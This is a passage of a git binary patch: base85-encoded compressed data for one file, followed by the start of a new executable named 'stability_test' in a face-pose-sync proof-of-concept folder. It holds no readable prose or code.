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 Rx9-0oYgkk6b#JuX{{Nj+Aw~cI literal 0 HcmV?d00001 diff --git a/experiments/face_pose_sync_poc/stability_test b/experiments/face_pose_sync_poc/stability_test new file mode 100755 index 0000000000000000000000000000000000000000..9bcb26ef99098c4e64835a5e06a6e25d772250bd GIT binary patch literal 147040 zcmeFae|%KcnfQP2Op=)aH6UPAge0bxAg$PH{L1)MRNN9P zE%{u@Z8PL)-+#Js-$(uK1kP_W1kUXxci!IjwbMQoigTY%Rr!r_n^aURp8Lq+-u9{R zz6I^l@>@T4>d3wD)$=dSSl)BZMMXu;;)n04>3Nh2@9O_{;N2-i@K5gj@WL)UWT^jD zR8-&d#j0MQsqi))_6eI7a_@q60Q94;s``PNUWWU@JL16m7Z=Dz?$aDd1O5-cOBQ@# z@wF9;mp(Xm(cCYj!n^K&9eC4SCcXOsf$^{hURC9TiyvMzHx=Gjk2&y$xd7zeFTYf{ z6%|!Aix(|;V4nLT72ZY{-VT>Zx%cy%3cH8CxeqK}w6wqd-EKSdgg2 zeav&jxVWD^f1dVYe?N5_$^E(Ex%xmC_rZB8zZb_Hc!e%Jxj)yx9)7>DVD5eQ-hXc@ zywAJvx?CV~|GwzE=ivqSEne_ID!kiU9r`}$!jt>=1+TKErn+kJ(o}f$F1&gdp4^`s zp7yu<=PsTv7Tr%DIc*MoV_kT1|Gwt6X>^ z9dL%+zYlm7l{FRGqEqGf9T%Qw&vO4h;Vqg=m`R2AObR@?KR3J{eLPTke}8@a(1mx6 z=`bw!{(q^kD=Hp-V9A09?yXqxz!y+QKln71?b)jOz$VL zv7%yLb#Ig(9Nr^6orT$lF1l7@5kK#r8>hV6e)K((?$DR-GAH+bK6@Iv7jD0{;Qq>a zb43-Y{B8_8@I1Sd`*Z0*#sjN*tL*8a_kOuc-}NqYa_@)NThqA`J=}kP^#k5>M{eGo zVf?tzp>I#`qdxFl?t9)=RNPYon?3(h;Vmz6ou0UaQ3)xxR-x({=>PKJ3p*z3}d+#B=w?W3}cdeAN{UrTuogO*TwwGzGoU6xY_gH zrtz)&3lwWNB{!kUS(&rGX+_yNpyLG=Sy>5wMRCw^w`q8gs?zE2GYjh2fa zkD2~#$S|Vk!c$beXm07E$_M8!sHzzlkH3Zw&m68je$vBTuy{^>1j@~G?_E$iI1>F@ zV-R`y;Tvgx3>bm;g#VcZ_s*>z9KL=%ApErSr_uCB%ya1D+}bFb*!vy~LjRroJo%)h 